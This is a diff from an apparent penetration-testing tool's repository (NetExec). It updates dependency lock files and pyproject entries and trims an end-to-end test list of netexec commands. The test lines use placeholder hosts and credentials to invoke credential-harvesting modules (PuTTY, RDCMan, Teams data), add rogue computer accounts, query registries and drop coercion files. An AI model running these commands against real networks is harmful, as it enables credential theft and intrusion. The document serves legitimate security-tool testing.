{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
]
[[package]]
name = "xmltodict"
version = "1.0.4"
@@ -2841,4 +2960,4 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.11,<4.0"
content-hash = "6ba2529d5c77bb8a64abe738ec3117d903a34de437bdd5eea0b7f0830a9ec0f9"
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
+9 -2
View File
@@ -20,14 +20,16 @@ dependencies = [
"aardwolf>=0.2.16",
"argcomplete>=3.1.4",
"asyauth>=0.0.20",
"beautifulsoup4>=4.11,<5",
"bloodhound-ce>=1.8.0",
"certihound>=0.1.1",
"certipy-nxc>=5.1.0.post1",
"cryptography>=42.0.8",
"dploot>=4.1.3",
"dploot>=4.0.0",
"dsinternals>=1.2.4",
"jwt>=1.3.1",
"lsassy>=3.1.11",
"masky>=0.2.1",
"minikerberos>=0.4.1",
"neo4j>=5.0.0",
"netifaces (>=0.11.0,<0.12.0)",
"paramiko>=3.3.1",
@@ -36,6 +38,7 @@ dependencies = [
"pylnk3>=0.4.3",
"pypsrp>=0.8.1",
"pypykatz>=0.6.8",
"python-dateutil>=2.8.2",
"python-libnmap>=0.7.3",
"requests>=2.27.1",
"rich>=13.3.5",
@@ -44,6 +47,7 @@ dependencies = [
"terminaltables3>=4.0.0",
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-nxc>=5.1.0.post1",
"impacket @ git+https://github.com/fortra/impacket",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]
@@ -83,6 +87,7 @@ build-backend = "poetry_dynamic_versioning.backend"
# uv and poetry native dev group (PEP 735)
[dependency-groups]
dev = [
"flake8",
"shiv",
"pytest>=7.2.2,<8",
"ruff",
@@ -93,6 +98,8 @@ dev = [
# malicious or compromised releases before they are selected during resolution.
[tool.uv]
exclude-newer = "1 day"
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
[tool.ruff]
preview = true
-5
View File
@@ -5,8 +5,6 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE --unpac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
@@ -78,7 +76,6 @@ netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBERO
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L enumeration
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
@@ -156,7 +153,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reauth_swap -o PROBE_USER=SECOND_USERNAME PROBE_PASS=SECOND_PASSWORD
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
@@ -166,7 +162,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -
# spider_plus takes a while to run, so it is commented out during normal testing
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
Generated
+112 -19
View File
@@ -6,6 +6,9 @@ requires-python = ">=3.11, <4.0"
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
exclude-newer-span = "P1D"
[options.exclude-newer-package]
certipy-nxc = "2026-10-14T17:00:00Z"
[[package]]
name = "aardwolf"
version = "0.2.16"
@@ -706,19 +709,19 @@ wheels = [
[[package]]
name = "dploot"
version = "4.1.3"
version = "4.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
{ name = "impacket" },
{ name = "lxml" },
{ name = "pick" },
{ name = "pyasn1" },
{ name = "pypsrp" },
{ name = "questionary" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b7/e8/941cf46b691b6d29c36e65ab00c32c74808fb88e010fb84e40fab8a655de/dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662", size = 72481, upload-time = "2026-10-27T14:31:08.593Z" }
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/64/39/fdf1696352a48a863ab9420197beaf1566bd285dfcc95af8becd1d745efd/dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9", size = 101476, upload-time = "2026-10-27T14:31:09.817Z" },
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
]
[[package]]
@@ -733,6 +736,20 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
]
[[package]]
name = "flake8"
version = "7.3.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "mccabe" },
{ name = "pycodestyle" },
{ name = "pyflakes" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9b/af/fbfe3c4b5a657d79e5c47a2827a362f9e1b763336a52f926126aa6dc7123/flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872", size = 48326, upload-time = "2025-06-20T19:31:35.838Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/9f/56/13ab06b4f93ca7cac71078fbe37fcea175d3216f31f85c3168a6bbd0bb9a/flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e", size = 57922, upload-time = "2025-06-20T19:31:34.425Z" },
]
[[package]]
name = "flask"
version = "3.1.3"
@@ -861,8 +878,8 @@ wheels = [
[[package]]
name = "impacket"
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
source = { git = "https://github.com/fortra/impacket#40b1eb7a0d25e1f378c5824c17a87be3fd44260a" }
version = "0.14.0.dev0+20261015.95810.75938fcb"
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
dependencies = [
{ name = "charset-normalizer" },
{ name = "flask" },
@@ -915,6 +932,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
]
[[package]]
name = "jwt"
version = "1.4.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
]
sdist = { url = "https://files.pythonhosted.org/packages/7f/20/21254c9e601e6c29445d1e8854c2a81bdb554e07a82fb1f9846137a6965c/jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952", size = 24911, upload-time = "2025-06-23T13:28:38.289Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b9/80/34e3fae850adb0b7b8b9b1cf02b2d975fcb68e0e8eb7d56d6b4fc23f7433/jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11", size = 18248, upload-time = "2025-06-23T13:28:37.012Z" },
]
[[package]]
name = "ldap3"
version = "2.9.1"
@@ -1159,6 +1188,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" },
]
[[package]]
name = "mccabe"
version = "0.7.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" },
]
[[package]]
name = "mdurl"
version = "0.1.2"
@@ -1242,6 +1280,7 @@ dependencies = [
{ name = "aardwolf" },
{ name = "argcomplete" },
{ name = "asyauth" },
{ name = "beautifulsoup4" },
{ name = "bloodhound-ce" },
{ name = "certihound" },
{ name = "certipy-nxc" },
@@ -1249,8 +1288,10 @@ dependencies = [
{ name = "dploot" },
{ name = "dsinternals" },
{ name = "impacket" },
{ name = "jwt" },
{ name = "lsassy" },
{ name = "masky" },
{ name = "minikerberos" },
{ name = "neo4j" },
{ name = "netifaces" },
{ name = "paramiko" },
@@ -1260,6 +1301,7 @@ dependencies = [
{ name = "pynfsclient" },
{ name = "pypsrp" },
{ name = "pypykatz" },
{ name = "python-dateutil" },
{ name = "python-libnmap" },
{ name = "requests" },
{ name = "rich" },
@@ -1271,6 +1313,7 @@ dependencies = [
[package.dev-dependencies]
dev = [
{ name = "flake8" },
{ name = "pytest" },
{ name = "ruff" },
{ name = "shiv" },
@@ -1281,15 +1324,18 @@ requires-dist = [
{ name = "aardwolf", specifier = ">=0.2.16" },
{ name = "argcomplete", specifier = ">=3.1.4" },
{ name = "asyauth", specifier = ">=0.0.20" },
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
{ name = "certihound", specifier = ">=0.1.1" },
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
{ name = "cryptography", specifier = ">=42.0.8" },
{ name = "dploot", specifier = ">=4.1.3" },
{ name = "dploot", specifier = ">=4.0.0" },
{ name = "dsinternals", specifier = ">=1.2.4" },
{ name = "impacket", git = "https://github.com/fortra/impacket" },
{ name = "jwt", specifier = ">=1.3.1" },
{ name = "lsassy", specifier = ">=3.1.11" },
{ name = "masky", specifier = ">=0.2.1" },
{ name = "minikerberos", specifier = ">=0.4.1" },
{ name = "neo4j", specifier = ">=5.0.0" },
{ name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
{ name = "paramiko", specifier = ">=3.3.1" },
@@ -1299,6 +1345,7 @@ requires-dist = [
{ name = "pynfsclient", git = "https://github.com/Pennyw0rth/NfsClient" },
{ name = "pypsrp", specifier = ">=0.8.1" },
{ name = "pypykatz", specifier = ">=0.6.8" },
{ name = "python-dateutil", specifier = ">=2.8.2" },
{ name = "python-libnmap", specifier = ">=0.7.3" },
{ name = "requests", specifier = ">=2.27.1" },
{ name = "rich", specifier = ">=13.3.5" },
@@ -1310,6 +1357,7 @@ requires-dist = [
[package.metadata.requires-dev]
dev = [
{ name = "flake8" },
{ name = "pytest", specifier = ">=7.2.2,<8" },
{ name = "ruff" },
{ name = "shiv" },
@@ -1366,6 +1414,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
]
[[package]]
name = "pick"
version = "2.6.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -1502,6 +1562,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" },
]
[[package]]
name = "pycodestyle"
version = "2.14.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/11/e0/abfd2a0d2efe47670df87f3e3a0e2edda42f055053c85361f19c0e2c1ca8/pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783", size = 39472, upload-time = "2025-06-20T18:49:48.75Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d7/27/a58ddaf8c588a3ef080db9d0b7e0b97215cee3a45df74f3a94dbbf5c893a/pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d", size = 31594, upload-time = "2025-06-20T18:49:47.491Z" },
]
[[package]]
name = "pycparser"
version = "3.0"
@@ -1676,6 +1745,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
]
[[package]]
name = "pyflakes"
version = "3.4.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/45/dc/fd034dc20b4b264b3d015808458391acbf9df40b1e54750ef175d39180b1/pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58", size = 64669, upload-time = "2025-06-20T18:45:27.834Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c2/2f/81d580a0fb83baeb066698975cb14a618bdbed7720678566f1b046a95fe8/pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f", size = 63551, upload-time = "2025-06-20T18:45:26.937Z" },
]
[[package]]
name = "pygments"
version = "2.20.0"
@@ -1836,6 +1914,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/51/ff/f6e8b8f39e08547faece4bd80f89d5a8de68a38b2d179cc1c4490ffa3286/pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8", size = 325287, upload-time = "2023-12-31T12:00:13.963Z" },
]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "six" },
]
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
]
[[package]]
name = "python-libnmap"
version = "0.7.3"
@@ -1851,18 +1941,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0f/7b/39c34ca613b0b198cb866466651b26b045e2009864c5183c979a3b83f383/pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815", size = 508283, upload-time = "2026-07-25T15:12:05.782Z" },
]
[[package]]
name = "questionary"
version = "2.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "prompt-toolkit" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f6/45/eafb0bba0f9988f6a2520f9ca2df2c82ddfa8d67c95d6625452e97b204a5/questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d", size = 25845, upload-time = "2025-08-28T19:00:20.851Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3c/26/1062c7ec1b053db9e499b4d2d5bc231743201b74051c973dadeac80a8f43/questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59", size = 36753, upload-time = "2025-08-28T19:00:19.56Z" },
]
[[package]]
name = "requests"
version = "2.32.5"
@@ -2127,6 +2205,21 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
]
[[package]]
name = "windows-curses"
version = "2.4.2"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
]
[[package]]
name = "xmltodict"
version = "1.0.4"